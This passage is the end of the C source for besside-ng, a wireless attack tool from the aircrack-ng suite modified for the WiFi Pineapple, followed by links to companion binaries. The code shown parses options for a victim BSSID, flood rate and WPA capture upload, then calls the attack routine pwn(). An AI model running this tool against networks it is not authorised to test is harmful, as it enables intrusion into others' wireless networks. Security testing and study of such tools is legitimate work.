free(mac); 3204 | 3205 | c = c->c_next; 3206 | } 3207 | } 3208 | 3209 | static void print_state(int UNUSED(x)) 3210 | { 3211 | struct state * s = &_state; 3212 | struct network * n = s->s_curnet; 3213 | struct channel * c = s->s_hopchan; 3214 | struct channel * c2 = c; 3215 | struct timer * t = s->s_timers.t_next; 3216 | 3217 | printf("\n=============== Internal state ============\n"); 3218 | printf("State:\t%d\n", s->s_state); 3219 | 3220 | if (s->s_state == STATE_ATTACK) 3221 | { 3222 | char * mac = mac2string(n->n_bssid); 3223 | ALLEGE(mac != NULL); 3224 | printf("Current attack network: [%s] %s\n", n->n_ssid, mac); 3225 | free(mac); 3226 | } 3227 | 3228 | n = _state.s_networks.n_next; 3229 | while (n) 3230 | { 3231 | print_state_network(n); 3232 | n = n->n_next; 3233 | } 3234 | 3235 | printf("Current chan: %d\n", s->s_chan); 3236 | printf("Hop cycle %u chans:", s->s_hopcycles); 3237 | do 3238 | { 3239 | printf(" %d", c->c_num); 3240 | c = c->c_next; 3241 | 3242 | if (c != c2) printf(","); 3243 | 3244 | } while (c != c2); 3245 | printf("\n"); 3246 | 3247 | printf( 3248 | #if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__) 3249 | "Now: %lu.%lu\n", 3250 | #else 3251 | "Now: %lu.%d\n", 3252 | #endif 3253 | s->s_now.tv_sec, 3254 | s->s_now.tv_usec); 3255 | 3256 | while (t) 3257 | { 3258 | printf( 3259 | #if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__) 3260 | "Timer: %lu.%lu %p[%s](%p)\n", 3261 | #else 3262 | "Timer: %lu.%d %p[%s](%p)\n", 3263 | #endif 3264 | t->t_tv.tv_sec, 3265 | t->t_tv.tv_usec, 3266 | t->t_cb, 3267 | timer_cb2str(t->t_cb), 3268 | t->t_arg); 3269 | 3270 | t = t->t_next; 3271 | } 3272 | 3273 | print_work(); 3274 | 3275 | printf("===========================================\n"); 3276 | } 3277 | 3278 | static void usage(char * prog) 3279 | { 3280 | char * version_info 3281 | = getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); 3282 | printf("\n" 3283 | " %s - (C) 2010 Andrea Bittau\n" 3284 | " Pineapple mods. by Zylla " 3285 | " https://www.aircrack-ng.org\n" 3286 | "\n" 3287 | " Usage: %s [options] \n" 3288 | "\n" 3289 | " Options:\n" 3290 | "\n" 3291 | " -b : Victim BSSID\n" 3292 | #ifdef HAVE_PCRE 3293 | " -R : Victim ESSID regex\n" 3294 | #endif 3295 | " -s : Upload wpa.cap for cracking\n" 3296 | " -c : chanlock\n" 3297 | " -p : flood rate\n" 3298 | " -W : WPA only\n" 3299 | " -w : WEP only\n" 3300 | " -C : Start WEP cracking at IV's\n" 3301 | " : Default is 5000 IV's\n" 3302 | " -v : verbose, -vv for more, etc.\n" 3303 | " -h : This help screen\n" 3304 | "\n", 3305 | version_info, 3306 | prog); 3307 | free(version_info); 3308 | exit(EXIT_FAILURE); 3309 | } 3310 | 3311 | int main(int argc, char * argv[]) 3312 | { 3313 | int ch, temp; 3314 | #ifdef HAVE_PCRE 3315 | const char * pcreerror; 3316 | int pcreerroffset; 3317 | #endif 3318 | 3319 | init_conf(); 3320 | 3321 | while ((ch = getopt(argc, argv, "hb:vWws:c:p:R:C:")) != -1) 3322 | { 3323 | switch (ch) 3324 | { 3325 | case 's': 3326 | _conf.cf_wpa_server = optarg; 3327 | break; 3328 | 3329 | case 'W': 3330 | if (_conf.cf_do_wpa != 0 ) 3331 | { 3332 | _conf.cf_do_wep = 0; 3333 | } 3334 | 3335 | else { 3336 | printf("ERROR :Please either WEP only or WPA only, but not both.\n"); 3337 | printf(" :If you desire to scan both WEP & WPA, dont use either -w or -W.\n"); 3338 | 3339 | exit(1); 3340 | } 3341 | 3342 | break; 3343 | 3344 | case 'C': 3345 | // Used to set the ammount of iv's required to start cracking WEP key 3346 | _conf.cf_crack_int = (int) atoi(optarg); 3347 | // Check to make sure its not a null or negative number, if it is, then abort 3348 | if ( (_conf.cf_crack_int) <= 0 ) 3349 | { 3350 | printf("ERROR: Please enter a value of 1 or higher for -C.\n"); 3351 | exit(1); 3352 | } 3353 | break; 3354 | 3355 | case 'w': 3356 | // Used to only scan for WEP networks 3357 | if (_conf.cf_do_wep != 0 ) 3358 | { 3359 | _conf.cf_do_wpa = 0; 3360 | } 3361 | else { 3362 | printf("ERROR :Please either WEP only or WPA only, but not both.\n"); 3363 | printf(" :If you desire to scan both WEP & WPA, dont use either -w or -W.\n"); 3364 | 3365 | exit(1); 3366 | } 3367 | break; 3368 | 3369 | case 'p': 3370 | temp = atoi(optarg); 3371 | if (temp <= 0) 3372 | { 3373 | printf("Invalid flood rate value, must be > 0"); 3374 | exit(EXIT_FAILURE); 3375 | } 3376 | _conf.cf_floodfreq 3377 | = (int) (1.0 / (double) temp * 1000.0 * 1000.0); 3378 | break; 3379 | 3380 | case 'c': 3381 | // XXX leak 3382 | _conf.cf_channels.c_next = &_conf.cf_channels; 3383 | temp = atoi(optarg); 3384 | if (temp <= 0) 3385 | { 3386 | printf("Invalid channel, must be > 0\n"); 3387 | exit(EXIT_FAILURE); 3388 | } 3389 | channel_add(temp); 3390 | _state.s_hopchan = _conf.cf_channels.c_next; 3391 | _conf.cf_autochan = 0; 3392 | break; 3393 | 3394 | case 'v': 3395 | _conf.cf_verb++; 3396 | break; 3397 | 3398 | case 'b': 3399 | _conf.cf_bssid = xmalloc(6); 3400 | parse_hex(_conf.cf_bssid, optarg, 6); 3401 | break; 3402 | 3403 | #ifdef HAVE_PCRE 3404 | case 'R': 3405 | if (_conf.cf_essid_regex != NULL) 3406 | { 3407 | printf("Error: ESSID regular expression already given. " 3408 | "Aborting\n"); 3409 | exit(EXIT_FAILURE); 3410 | } 3411 | 3412 | _conf.cf_essid_regex 3413 | = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL); 3414 | 3415 | if (_conf.cf_essid_regex == NULL) 3416 | { 3417 | printf("Error: regular expression compilation failed at " 3418 | "offset %d: %s; aborting\n", 3419 | pcreerroffset, 3420 | pcreerror); 3421 | exit(EXIT_FAILURE); 3422 | } 3423 | break; 3424 | #endif 3425 | 3426 | default: 3427 | case 'h': 3428 | usage(argv[0]); 3429 | break; 3430 | } 3431 | } 3432 | 3433 | if (optind <= argc) _conf.cf_ifname = argv[optind]; 3434 | 3435 | if (!_conf.cf_ifname) 3436 | { 3437 | printf("Gimme an interface name dude\n"); 3438 | usage(argv[0]); 3439 | } 3440 | 3441 | signal(SIGINT, cleanup); 3442 | signal(SIGKILL, cleanup); 3443 | signal(SIGUSR1, print_state); 3444 | signal(SIGCHLD, do_wait); 3445 | 3446 | pwn(); 3447 | 3448 | #ifdef HAVE_PCRE 3449 | if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex); 3450 | #endif 3451 | 3452 | exit(EXIT_SUCCESS); 3453 | } -------------------------------------------------------------------------------- /buddy-ng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adde88/besside-ng_pineapple/653a3f26143c6b0af7eb971dd495a41704287e94/buddy-ng -------------------------------------------------------------------------------- /easside-ng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adde88/besside-ng_pineapple/653a3f26143c6b0af7eb971dd495a41704287e94/easside-ng -------------------------------------------------------------------------------- /wesside-ng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adde88/besside-ng_pineapple/653a3f26143c6b0af7eb971dd495a41704287e94/wesside-ng --------------------------------------------------------------------------------